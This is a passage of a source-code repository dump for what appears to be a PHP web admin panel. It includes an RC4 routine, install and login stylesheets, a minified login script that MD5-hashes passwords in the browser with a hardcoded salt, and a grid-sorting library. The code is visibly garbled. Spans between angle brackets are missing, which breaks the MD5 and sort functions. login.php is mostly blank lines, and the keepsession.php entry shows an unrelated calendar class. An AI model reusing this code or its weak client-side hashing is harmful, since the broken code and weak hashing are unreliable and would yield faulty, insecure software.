38 | $key[] = ord($key_str{$i});
39 | }
40 | for ($i = 0; $i < strlen($data_str); $i++) {
41 | $data[] = ord($data_str{$i});
42 | }
43 | // prepare key
44 | $state = array( 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,
45 | 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
46 | 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,
47 | 48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,
48 | 64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,
49 | 80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,
50 | 96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
51 | 112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,
52 | 128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,
53 | 144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,
54 | 160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,
55 | 176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,
56 | 192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,
57 | 208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,
58 | 224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,
59 | 240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255 );
60 | $len = count($key);
61 | $index1 = $index2 = 0;
62 | for ($counter = 0; $counter < 256; $counter++) {
63 | $index2 = ($key[$index1] + $state[$counter] + $index2) % 256;
64 | $tmp = $state[$counter];
65 | $state[$counter] = $state[$index2];
66 | $state[$index2] = $tmp;
67 | $index1 = ($index1 + 1) % $len;
68 | }
69 | // rc4
70 | $len = count($data);
71 | $x = $y = 0;
72 | for ($counter = 0; $counter < $len; $counter++) {
73 | $x = ($x + 1) % 256;
74 | $y = ($state[$x] + $y) % 256;
75 | $tmp = $state[$x];
76 | $state[$x] = $state[$y];
77 | $state[$y] = $tmp;
78 | $data[$counter] ^= $state[($state[$x] + $state[$y]) % 256];
79 | }
80 | // convert output back to a string
81 | $data_str = "";
82 | for ($i = 0; $i < $len; $i++) {
83 | $data_str .= chr($data[$i]);
84 | }
85 | return $data_str;
86 | }
--------------------------------------------------------------------------------
/static/css/install.min.css:
--------------------------------------------------------------------------------
1 | html{background:#222526;margin:0 20px}body{background:#fff;color:#444;font-family:'Microsoft YaHei',"Open Sans",sans-serif;margin:190px auto 25px;padding:20px 20px 10px 20px;max-width:600px;-webkit-font-smoothing:subpixel-antialiased;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.13);box-shadow:0 1px 3px rgba(0,0,0,0.13)}a{color:#0073aa}a:hover,a:active{color:#00a0d2}a:focus{color:#124964;-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.ie8 a:focus{outline:#5b9dd9 solid 1px}h1,h2{border-bottom:1px solid #dedede;clear:both;color:#666;font-size:24px;padding:0;padding-bottom:7px;font-weight:normal}h3{font-size:16px}p,li,dd,dt{padding-bottom:2px;font-size:14px;line-height:1.5}code,.code{font-family:'Microsoft YaHei',Consolas,Monaco,monospace}ul,ol,dl{padding:5px 5px 5px 22px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}label{cursor:pointer}#logo{margin:-170px 0 37px 0;padding:0 0 7px 0;border-bottom:0;text-align:center}#logo a{background-image:url(../images/logo.png);-webkit-background-size:180px;background-size:180px;background-position:center top;background-repeat:no-repeat;color:#999;height:180px;width:300px;font-size:20px;font-weight:normal;line-height:1.3em;margin:-110px auto -50px;padding:0;text-decoration:none;text-indent:-9999px;outline:0;overflow:hidden;display:block}#logo a:focus{-webkit-box-shadow:none;box-shadow:none}.step{margin:20px 0 15px}.step,th{text-align:left;padding:0}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 20px 10px 0;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:left;padding:10px 20px 10px 0;width:140px;vertical-align:top}.form-table code{line-height:18px;font-size:14px}.form-table p{margin:4px 0 0 0;font-size:11px;display:inline}.form-table input{line-height:20px;font-size:15px;padding:3px 5px;border:1px solid #ddd;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.07);box-shadow:inset 0 1px 2px rgba(0,0,0,0.07)}input,submit{font-family:'Microsoft YaHei',"Open Sans",sans-serif}.form-table input[type=text],.form-table input[type=email],.form-table input[type=url],.form-table input[type=password]{width:206px}.form-table th p{font-weight:normal}.form-table.install-success th,.form-table.install-success td{vertical-align:middle;padding:16px 20px 16px 0}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}.message{border:1px solid #c00;padding:.5em .7em;margin:5px 0 15px;background-color:#ffebe8}.form-table span.description.important{font-size:12px}body.rtl,.rtl textarea,.rtl input,.rtl submit{font-family:'Microsoft YaHei',Tahoma,sans-serif}:lang(he-il) body.rtl,:lang(he-il) .rtl textarea,:lang(he-il) .rtl input,:lang(he-il) .rtl submit{font-family:'Microsoft YaHei',Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table th,.form-table td{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}textarea,input{font-size:16px}.form-table td input[type="text"],.form-table td input[type="email"],.form-table td input[type="url"],.form-table td input[type="password"],.form-table td select,.form-table td textarea,.form-table span.description{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}}#encrypt_enable,#keep_session_enable,#mail_enable,#xff_enable,#admin_ip_check_enable{margin-right:200px}.core-ui .button{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:0 1px 0 #ccc;box-shadow:0 1px 0 #ccc;vertical-align:top;display:inline-block;text-decoration:none;font-size:13px;line-height:26px;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;-webkit-border-radius:3px;border-radius:3px;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}
--------------------------------------------------------------------------------
/src/css/login.css:
--------------------------------------------------------------------------------
1 | * {
2 | margin: 0px;
3 | padding: 0px;
4 | }
5 |
6 | body {
7 | background: #222526;
8 | position: relative;
9 | font-family: 'Microsoft YaHei',verdana;
10 | }
11 |
12 | #loginform {
13 | position: relative;
14 | width: 300px;
15 | left: 50%;
16 | margin-left: -150px;
17 | top: 45%;
18 | height: 190px;
19 | margin-top: -190px;
20 | }
21 |
22 | input {
23 | display: block;
24 | margin: 21px auto 15px;
25 | border-radius: 5px;
26 | background: #333333;
27 | width: 85%;
28 | padding: 12px 20px 12px 10px;
29 | border: none;
30 | color: #929999;
31 | box-shadow: inset 0px 1px 5px #272727;
32 | font-size: 0.8em;
33 | -webkit-transition: 0.5s ease;
34 | -moz-transition: 0.5s ease;
35 | -o-transition: 0.5s ease;
36 | -ms-transition: 0.5s ease;
37 | transition: 0.5s ease;
38 | }
39 |
40 | input:focus {
41 | -webkit-transition: 0.5s ease;
42 | -moz-transition: 0.5s ease;
43 | -o-transition: 0.5s ease;
44 | -ms-transition: 0.5s ease;
45 | transition: 0.5s ease;
46 | box-shadow: 0px 0px 5px 1px #161718;
47 | }
48 |
49 | button {
50 | background: #ff5f32;
51 | border-radius: 50%;
52 | border: 10px solid #222526;
53 | font-size: 0.9em;
54 | color: #fff;
55 | font-weight: bold;
56 | cursor: pointer;
57 | width: 85px;
58 | height: 85px;
59 | position: absolute;
60 | right: -42px;
61 | top: 54px;
62 | text-align: center;
63 | -webkit-transition: 0.5s ease;
64 | -moz-transition: 0.5s ease;
65 | -o-transition: 0.5s ease;
66 | -ms-transition: 0.5s ease;
67 | transition: 0.5s ease;
68 | }
69 |
70 | button:hover {
71 | background: #222526;
72 | border-color: #ff5f32;
73 | -webkit-transition: 0.5s ease;
74 | -moz-transition: 0.5s ease;
75 | -o-transition: 0.5s ease;
76 | -ms-transition: 0.5s ease;
77 | transition: 0.5s ease;
78 | }
79 |
80 | button i {
81 | font-size: 20px;
82 | -webkit-transition: 0.5s ease;
83 | -moz-transition: 0.5s ease;
84 | -o-transition: 0.5s ease;
85 | -ms-transition: 0.5s ease;
86 | transition: 0.5s ease;
87 | }
88 |
89 | button:hover i {
90 | color: #ff5f32;
91 | -webkit-transition: 0.5s ease;
92 | -moz-transition: 0.5s ease;
93 | -o-transition: 0.5s ease;
94 | -ms-transition: 0.5s ease;
95 | transition: 0.5s ease;
96 | }
97 |
98 | *:focus {
99 | outline: none;
100 | }
101 |
102 | ::-webkit-input-placeholder {
103 | color: #929999;
104 | }
105 |
106 | :-moz-placeholder {
107 | /* Firefox 18- */
108 | color: #929999;
109 | }
110 |
111 | ::-moz-placeholder {
112 | /* Firefox 19+ */
113 | color: #929999;
114 | }
115 |
116 | :-ms-input-placeholder {
117 | color: #929999;
118 | }
119 |
120 | h1 {
121 | text-align: center;
122 | color: #fff;
123 | font-size: 16px;
124 | padding: 12px 0px;
125 | }
126 |
127 | #note {
128 | color: #88887a;
129 | font-size: 0.8em;
130 | text-align: left;
131 | padding-left: 5px;
132 | }
133 |
134 | a {
135 | color: #88887a;
136 | text-decoration: none;
137 | -webkit-transition: 0.5s ease;
138 | -moz-transition: 0.5s ease;
139 | -o-transition: 0.5s ease;
140 | -ms-transition: 0.5s ease;
141 | transition: 0.5s ease;
142 | }
143 |
144 | a:hover {
145 | color: #fff;
146 | margin-left: 5px;
147 | -webkit-transition: 0.5s ease;
148 | -moz-transition: 0.5s ease;
149 | -o-transition: 0.5s ease;
150 | -ms-transition: 0.5s ease;
151 | transition: 0.5s ease;
152 | }
153 |
154 | #mainlogin {
155 | float: left;
156 | width: 250px;
157 | height: 170px;
158 | padding: 10px 15px;
159 | position: relative;
160 | background: #555555;
161 | border-radius: 3px;
162 | -moz-box-shadow: 0px 0px 10px rgba(0,0,0,0.5);
163 | -webkit-box-shadow: 0px 0px 10px rgba(0,0,0,0.5);
164 | box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5);
165 | }
166 |
167 | #logo {
168 | background: url(../images/logo.png);
169 | height: 180px;
170 | width: 300px;
171 | margin-left: 17px;
172 | margin-bottom: 10px;
173 | background-repeat: no-repeat;
174 | }
--------------------------------------------------------------------------------
/static/js/login.min.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function(){$("#submit").removeAttr("disabled");$("#submit").click(function(f){if(""===$("#password").val())return!1;$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));return!0});$("#note").click(function(f){alert("\u795e\u4ed9\u96be\u6551")})});function md5cycle(f,c){var b=f[0],a=f[1],d=f[2],e=f[3],b=ff(b,a,d,e,c[0],7,-680876936),e=ff(e,b,a,d,c[1],12,-389564586),d=ff(d,e,b,a,c[2],17,606105819),a=ff(a,d,e,b,c[3],22,-1044525330),b=ff(b,a,d,e,c[4],7,-176418897),e=ff(e,b,a,d,c[5],12,1200080426),d=ff(d,e,b,a,c[6],17,-1473231341),a=ff(a,d,e,b,c[7],22,-45705983),b=ff(b,a,d,e,c[8],7,1770035416),e=ff(e,b,a,d,c[9],12,-1958414417),d=ff(d,e,b,a,c[10],17,-42063),a=ff(a,d,e,b,c[11],22,-1990404162),b=ff(b,a,d,e,c[12],7,1804603682),e=ff(e,b,a,d,c[13],12,-40341101),d=ff(d,e,b,a,c[14],17,-1502002290),a=ff(a,d,e,b,c[15],22,1236535329),b=gg(b,a,d,e,c[1],5,-165796510),e=gg(e,b,a,d,c[6],9,-1069501632),d=gg(d,e,b,a,c[11],14,643717713),a=gg(a,d,e,b,c[0],20,-373897302),b=gg(b,a,d,e,c[5],5,-701558691),e=gg(e,b,a,d,c[10],9,38016083),d=gg(d,e,b,a,c[15],14,-660478335),a=gg(a,d,e,b,c[4],20,-405537848),b=gg(b,a,d,e,c[9],5,568446438),e=gg(e,b,a,d,c[14],9,-1019803690),d=gg(d,e,b,a,c[3],14,-187363961),a=gg(a,d,e,b,c[8],20,1163531501),b=gg(b,a,d,e,c[13],5,-1444681467),e=gg(e,b,a,d,c[2],9,-51403784),d=gg(d,e,b,a,c[7],14,1735328473),a=gg(a,d,e,b,c[12],20,-1926607734),b=hh(b,a,d,e,c[5],4,-378558),e=hh(e,b,a,d,c[8],11,-2022574463),d=hh(d,e,b,a,c[11],16,1839030562),a=hh(a,d,e,b,c[14],23,-35309556),b=hh(b,a,d,e,c[1],4,-1530992060),e=hh(e,b,a,d,c[4],11,1272893353),d=hh(d,e,b,a,c[7],16,-155497632),a=hh(a,d,e,b,c[10],23,-1094730640),b=hh(b,a,d,e,c[13],4,681279174),e=hh(e,b,a,d,c[0],11,-358537222),d=hh(d,e,b,a,c[3],16,-722521979),a=hh(a,d,e,b,c[6],23,76029189),b=hh(b,a,d,e,c[9],4,-640364487),e=hh(e,b,a,d,c[12],11,-421815835),d=hh(d,e,b,a,c[15],16,530742520),a=hh(a,d,e,b,c[2],23,-995338651),b=ii(b,a,d,e,c[0],6,-198630844),e=ii(e,b,a,d,c[7],10,1126891415),d=ii(d,e,b,a,c[14],15,-1416354905),a=ii(a,d,e,b,c[5],21,-57434055),b=ii(b,a,d,e,c[12],6,1700485571),e=ii(e,b,a,d,c[3],10,-1894986606),d=ii(d,e,b,a,c[10],15,-1051523),a=ii(a,d,e,b,c[1],21,-2054922799),b=ii(b,a,d,e,c[8],6,1873313359),e=ii(e,b,a,d,c[15],10,-30611744),d=ii(d,e,b,a,c[6],15,-1560198380),a=ii(a,d,e,b,c[13],21,1309151649),b=ii(b,a,d,e,c[4],6,-145523070),e=ii(e,b,a,d,c[11],10,-1120210379),d=ii(d,e,b,a,c[2],15,718787259),a=ii(a,d,e,b,c[9],21,-343485551);f[0]=add32(b,f[0]);f[1]=add32(a,f[1]);f[2]=add32(d,f[2]);f[3]=add32(e,f[3])}function cmn(f,c,b,a,d,e){c=add32(add32(c,f),add32(a,e));return add32(c<>>32-d,b)}function ff(f,c,b,a,d,e,g){return cmn(c&b|~c&a,f,c,d,e,g)}function gg(f,c,b,a,d,e,g){return cmn(c&a|b&~a,f,c,d,e,g)}function hh(f,c,b,a,d,e,g){return cmn(c^b^a,f,c,d,e,g)}function ii(f,c,b,a,d,e,g){return cmn(b^(c|~a),f,c,d,e,g)}function md51(f){var c=f.length,b=[1732584193,-271733879,-1732584194,271733878],a;for(a=64;a<=f.length;a+=64)md5cycle(b,md5blk(f.substring(a-64,a)));f=f.substring(a-64);var d=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(a=0;a>2]|=f.charCodeAt(a)<<(a%4<<3);d[a>>2]|=128<<(a%4<<3);if(55a;a++)d[a]=0;d[14]=8*c;md5cycle(b,d);return b}function md5blk(f){var c=[],b;for(b=0;64>b;b+=4)c[b>>2]=f.charCodeAt(b)+(f.charCodeAt(b+1)<<8)+(f.charCodeAt(b+2)<<16)+(f.charCodeAt(b+3)<<24);return c}var hex_chr="0123456789abcdef".split("");function rhex(f){for(var c="",b=0;4>b;b++)c+=hex_chr[f>>8*b+4&15]+hex_chr[f>>8*b&15];return c}function hex(f){for(var c=0;c>16)+(c>>16)+(b>>16)<<16|b&65535});
--------------------------------------------------------------------------------
/login.php:
--------------------------------------------------------------------------------
1 |
77 |
78 |
79 |
80 |
81 | 登录
82 |
83 |
84 |
85 |
86 |
87 | ';
90 | ?>
91 |
92 |
93 |
94 |
121 |
122 |
123 |
--------------------------------------------------------------------------------
/keepsession.php:
--------------------------------------------------------------------------------
1 |
5 | * @author Manuel Reinhard
6 | *
7 | * Built with inspiration from
8 | * http://stackoverflow.com/questions/1463480/how-can-i-use-php-to-dynamically-publish-an-ical-file-to-be-read-by-google-calend/1464355#1464355
9 | * History:
10 | * 2010/12/17 - Manuel Reinhard - when it all started
11 | * 2014 PHPMailer project becomes maintainer
12 | */
13 |
14 | /**
15 | * Class EasyPeasyICS.
16 | * Simple ICS data generator
17 | * @package phpmailer
18 | * @subpackage easypeasyics
19 | */
20 | class EasyPeasyICS
21 | {
22 | /**
23 | * The name of the calendar
24 | * @var string
25 | */
26 | protected $calendarName;
27 | /**
28 | * The array of events to add to this calendar
29 | * @var array
30 | */
31 | protected $events = array();
32 |
33 | /**
34 | * Constructor
35 | * @param string $calendarName
36 | */
37 | public function __construct($calendarName = "")
38 | {
39 | $this->calendarName = $calendarName;
40 | }
41 |
42 | /**
43 | * Add an event to this calendar.
44 | * @param string $start The start date and time as a unix timestamp
45 | * @param string $end The end date and time as a unix timestamp
46 | * @param string $summary A summary or title for the event
47 | * @param string $description A description of the event
48 | * @param string $url A URL for the event
49 | * @param string $uid A unique identifier for the event - generated automatically if not provided
50 | * @return array An array of event details, including any generated UID
51 | */
52 | public function addEvent($start, $end, $summary = '', $description = '', $url = '', $uid = '')
53 | {
54 | if (empty($uid)) {
55 | $uid = md5(uniqid(mt_rand(), true)) . '@EasyPeasyICS';
56 | }
57 | $event = array(
58 | 'start' => gmdate('Ymd', $start) . 'T' . gmdate('His', $start) . 'Z',
59 | 'end' => gmdate('Ymd', $end) . 'T' . gmdate('His', $end) . 'Z',
60 | 'summary' => $summary,
61 | 'description' => $description,
62 | 'url' => $url,
63 | 'uid' => $uid
64 | );
65 | $this->events[] = $event;
66 | return $event;
67 | }
68 |
69 | /**
70 | * @return array Get the array of events.
71 | */
72 | public function getEvents()
73 | {
74 | return $this->events;
75 | }
76 |
77 | /**
78 | * Clear all events.
79 | */
80 | public function clearEvents()
81 | {
82 | $this->events = array();
83 | }
84 |
85 | /**
86 | * Get the name of the calendar.
87 | * @return string
88 | */
89 | public function getName()
90 | {
91 | return $this->calendarName;
92 | }
93 |
94 | /**
95 | * Set the name of the calendar.
96 | * @param $name
97 | */
98 | public function setName($name)
99 | {
100 | $this->calendarName = $name;
101 | }
102 |
103 | /**
104 | * Render and optionally output a vcal string.
105 | * @param bool $output Whether to output the calendar data directly (the default).
106 | * @return string The complete rendered vlal
107 | */
108 | public function render($output = true)
109 | {
110 | //Add header
111 | $ics = 'BEGIN:VCALENDAR
112 | METHOD:PUBLISH
113 | VERSION:2.0
114 | X-WR-CALNAME:' . $this->calendarName . '
115 | PRODID:-//hacksw/handcal//NONSGML v1.0//EN';
116 |
117 | //Add events
118 | foreach ($this->events as $event) {
119 | $ics .= '
120 | BEGIN:VEVENT
121 | UID:' . $event['uid'] . '
122 | DTSTAMP:' . gmdate('Ymd') . 'T' . gmdate('His') . 'Z
123 | DTSTART:' . $event['start'] . '
124 | DTEND:' . $event['end'] . '
125 | SUMMARY:' . str_replace("\n", "\\n", $event['summary']) . '
126 | DESCRIPTION:' . str_replace("\n", "\\n", $event['description']) . '
127 | URL;VALUE=URI:' . $event['url'] . '
128 | END:VEVENT';
129 | }
130 |
131 | //Add footer
132 | $ics .= '
133 | END:VCALENDAR';
134 |
135 | if ($output) {
136 | //Output
137 | $filename = $this->calendarName;
138 | //Filename needs quoting if it contains spaces
139 | if (strpos($filename, ' ') !== false) {
140 | $filename = '"'.$filename.'"';
141 | }
142 | header('Content-type: text/calendar; charset=utf-8');
143 | header('Content-Disposition: inline; filename=' . $filename . '.ics');
144 | echo $ics;
145 | }
146 | return $ics;
147 | }
148 | }
149 |
--------------------------------------------------------------------------------
/src/js/jqxgrid.sort.js:
--------------------------------------------------------------------------------
1 | /*
2 | jQWidgets v3.9.0 (2015-Oct)
3 | Copyright (c) 2011-2015 jQWidgets.
4 | License: http://jqwidgets.com/license/
5 | */
6 |
7 | (function(a){a.jqx.dataview.sort=function(){this.sortby=function(d,f,p){var m=Object.prototype.toString;if(f==null){this.sortdata=null;this.sortcache={};this.grid._pagescache=new Array();this.grid._cellscache=new Array();this.refresh();return}if(f==undefined){f=true}if(f=="a"||f=="asc"||f=="ascending"||f==true){f=true}else{f=false}var g=d;this.sortfield=d;this.sortfielddirection=f?"asc":"desc";if(this.sortcache==undefined){this.sortcache={}}this.sortdata=[];var b=[];var c=false;if(g=="constructor"){g=""}if(!this.virtualmode&&this.sortcache[g]!=null){var o=this.sortcache[g];b=o._sortdata;if(o.direction==f){b.reverse()}else{if(!o.direction&&f){b.reverse()}c=true}if(b.lengthb){return 1}return 0;case"date":case"time":if(cb){return 1}return 0;case"string":case"text":c=String(c).toLowerCase();b=String(b).toLowerCase();break}}else{if(a.jqx.dataFormat.isNumber(c)&&a.jqx.dataFormat.isNumber(b)){if(cb){return 1}return 0}else{if(a.jqx.dataFormat.isDate(c)&&a.jqx.dataFormat.isDate(b)){if(cb){return 1}return 0}else{if(!a.jqx.dataFormat.isNumber(c)&&!a.jqx.dataFormat.isNumber(b)){c=String(c).toLowerCase();b=String(b).toLowerCase()}}}}}try{if(cb){return 1}}catch(d){var f=d}return 0};this._equals=function(c,b){return(this._compare(c,b)===0)}};a.extend(a.jqx._jqxGrid.prototype,{_rendersortcolumn:function(){var b=this.that;var d=this.getsortcolumn();if(this.sortdirection){var c=function(f,g){var e=b.getcolumn(f);if(e){if(g.ascending){a.jqx.aria(e.element,"aria-sort","ascending")}else{if(g.descending){a.jqx.aria(e.element,"aria-sort","descending")}else{a.jqx.aria(e.element,"aria-sort","none")}}}};if(this._oldsortinfo){if(this._oldsortinfo.column){c(this._oldsortinfo.column,{ascending:false,descending:false})}}c(d,this.sortdirection)}this._oldsortinfo={column:d,direction:this.sortdirection};if(this.sortdirection){a.each(this.columns.records,function(f,g){var e=a.data(document.body,"groupsortelements"+this.displayfield);if(d==null||this.displayfield!=d){a(this.sortasc).hide();a(this.sortdesc).hide();if(e!=null){e.sortasc.hide();e.sortdesc.hide()}}else{if(b.sortdirection.ascending){a(this.sortasc).show();a(this.sortdesc).hide();if(e!=null){e.sortasc.show();e.sortdesc.hide()}}else{a(this.sortasc).hide();a(this.sortdesc).show();if(e!=null){e.sortasc.hide();e.sortdesc.show()}}}})}},getsortcolumn:function(){if(this.sortcolumn!=undefined){return this.sortcolumn}return null},removesort:function(){this.sortby(null)},sortby:function(d,g,f,e,b){if(this._loading&&b!==false){throw new Error("jqxGrid: "+this.loadingerrormessage);return false}if(d==null){g=null;d=this.sortcolumn}if(d!=undefined){var c=this.that;if(f==undefined&&c.source.sortcomparer!=null){f=c.source.sortcomparer}if(g=="a"||g=="asc"||g=="ascending"||g==true){ascending=true}else{ascending=false}if(g!=null){c.sortdirection={ascending:ascending,descending:!ascending}}else{c.sortdirection={ascending:false,descending:false}}if(g!=null){c.sortcolumn=d}else{c.sortcolumn=null}if(c.source.sort||c.virtualmode){c.dataview.sortfield=d;if(g==null){c.dataview.sortfielddirection=""}else{c.dataview.sortfielddirection=ascending?"asc":"desc"}if(c.source.sort&&!this._loading){c.source.sort(d,g);c._raiseEvent(6,{sortinformation:c.getsortinformation()});return}}else{c.dataview.sortby(d,g,f)}if(e===false){return}if(c.groupable&&c.groups.length>0){c._render(true,false,false);if(c._updategroupheadersbounds&&c.showgroupsheader){c._updategroupheadersbounds()}}else{if(c.pageable){c.dataview.updateview()}c._updaterowsproperties();c.rendergridcontent(true)}c._raiseEvent(6,{sortinformation:c.getsortinformation()})}},_togglesort:function(d){var b=this.that;if(this.disabled){return}if(d.sortable&&b.sortable){var c=b.getsortinformation();var e=null;if(c.sortcolumn!=null&&c.sortcolumn==d.displayfield){e=c.sortdirection.ascending;if(b.sorttogglestates>1){if(e==true){e=false}else{e=null}}else{e=!e}}else{e=true}b.sortby(d.displayfield,e,null)}}})})(jqxBaseFramework);
--------------------------------------------------------------------------------
/src/css/notification.css:
--------------------------------------------------------------------------------
1 | #notifications-bottom-right {
2 | position: absolute;
3 | width: 360px;
4 | right: 20px;
5 | bottom: 40px;
6 | }
7 |
8 | .webpushtipoutter {
9 | z-index: 9999;
10 | position: absolute;
11 | right: 5px;
12 | bottom: 5px;
13 | _width: 330px;
14 | }
15 |
16 | .webpushtipinner {
17 | position: relative;
18 | height: 66px;
19 | padding: 7px;
20 | }
21 |
22 | .newmailNotifyBox {
23 | position: absolute;
24 | bottom: 0;
25 | right: 0;
26 | z-index: 5;
27 | padding: 8px 17px 7px 0;
28 | overflow: hidden;
29 | }
30 |
31 | .newmailNotifyItem {
32 | position: relative;
33 | width: 305px;
34 | height: 69px;
35 | margin-bottom: 10px;
36 | padding: 1px;
37 | border-radius: 5px;
38 | -webkit-border-radius: 5px;
39 | box-shadow: 0 2px 5px rgba(0,0,0,0.2);
40 | -webkit-box-shadow: 0 2px 5px rgba(0,0,0,0.2);
41 | background: #ADBFC8;
42 | background: -moz-linear-gradient(top,#C4D1D7,#98AFBA);
43 | background: -webkit-gradient(linear,0 0,0 bottom,from(#C4D1D7),to(#98AFBA));
44 | background: -o-linear-gradient(top,#C4D1D7,#98AFBA);
45 | -moz-transition: box-shadow 1s;
46 | }
47 |
48 | .newmailNotifyItem:hover .newmailNotify {
49 | box-shadow: 0 0 5px #8EC7EF inset;
50 | -webkit-box-shadow: 0 0 5px #8EC7EF inset;
51 | }
52 |
53 | .newmailNotifyItem:hover .notify_type {
54 | background: transparent;
55 | *background: #EEF6F9;
56 | }
57 |
58 | .newmailNotify {
59 | height: 66px;
60 | background: #F7FDFF;
61 | cursor: pointer;
62 | border-radius: 5px;
63 | -webkit-border-radius: 5px;
64 | box-shadow: 0 0 9px #E5EFF5 inset;
65 | -webkit-box-shadow: 0 0 9px #E5EFF5 inset;
66 | }
67 |
68 | .newmailNotify .notify_close {
69 | position: absolute;
70 | top: -6px;
71 | top: 4px\9;
72 | right: -6px;
73 | right: 4px\9;
74 | width: 15px;
75 | height: 15px;
76 | height: 14px\9;
77 | overflow: hidden;
78 | background: url(../images/mail.png) no-repeat -106px -18px #B6CFDA;
79 | opacity: 0;
80 | filter: alpha(opacity=0);
81 | border-radius: 10px;
82 | -webkit-border-radius: 10px;
83 | -moz-transition: opacity 0.2s ease;
84 | -webkit-transition: opacity 0.1s ease;
85 | _filter: alpha(opacity=100);
86 | }
87 |
88 | .newmailNotify:hover .notify_close:hover,.hover .notify_close:hover {
89 | opacity: 1;
90 | filter: alpha(opacity=100);
91 | }
92 |
93 | .newmailNotify:hover .notify_close:active,.hover .notify_close:active {
94 | opacity: 1;
95 | filter: alpha(opacity=100);
96 | }
97 |
98 | .newmailNotify:hover .notify_close,.hover .notify_close {
99 | opacity: 0.8;
100 | filter: alpha(opacity=80);
101 | }
102 |
103 | .newmailNotify .notify_type {
104 | position: relative;
105 | float: left;
106 | width: 60px;
107 | height: 66px;
108 | border-right: 1px solid #CBDAE1;
109 | background: #EEF6F9;
110 | border-radius: 5px 0 0 5px;
111 | -webkit-border-radius: 5px 0 0 5px;
112 | }
113 |
114 | .newmailNotify .notify_type span {
115 | display: inline-block;
116 | width: 32px;
117 | height: 34px;
118 | margin: 16px 0 0 16px;
119 | background: url(../images/notify_letter.png) no-repeat;
120 | }
121 |
122 | .newmailNotify .notify_type label {
123 | position: absolute;
124 | top: 12px;
125 | right: 10px;
126 | +right: 5px;
127 | text-align: center;
128 | overflow: visible;
129 | }
130 |
131 | .newmailNotify .notify_type em {
132 | display: inline-block;
133 | cursor: pinter;
134 | min-width: 13px;
135 | margin-right: -50%;
136 | +margin-right: 0;
137 | padding: 0 2px;
138 | +padding: 0 2px 2px;
139 | border: 1px solid white;
140 | line-height: 15px;
141 | color: white;
142 | font-weight: bold;
143 | font-style: normal;
144 | background: #D40707;
145 | border-radius: 8px;
146 | -webkit-border-radius: 8px;
147 | background: -moz-linear-gradient(top,#E80505,#C70909);
148 | background: -webkit-gradient(linear,0 0,0 bottom,from(#E80505),to(#C70909));
149 | background: -o-linear-gradient(top,#E80505,#C70909);
150 | }
151 |
152 | @media screen and (-webkit-min-device-pixel-ratio:0) {
153 | .newmailNotify .notify_type em {
154 | border: none;
155 | };
156 | }
157 |
158 | .newmailNotify .notify_content {
159 | margin-left: 66px;
160 | overflow: hidden;
161 | width: 230px;
162 | }
163 |
164 | .newmailNotify p {
165 | margin: 0;
166 | padding: 2px 0 1px;
167 | white-space: normal;
168 | white-space: nowrap\9;
169 | _white-space: normal;
170 | height: auto\9;
171 | _height: 16px;
172 | _line-height: 16px;
173 | overflow: hidden;
174 | text-overflow: ellipsis;
175 | }
176 |
177 | @media screen and (-webkit-min-device-pixel-ratio:0) {
178 | .newmailNotify p {
179 | margin-top: 2px;
180 | white-space: nowrap;
181 | overflow: hidden;
182 | text-overflow: ellipsis;
183 | };
184 | }
185 |
186 | .newmailNotify .notify_location {
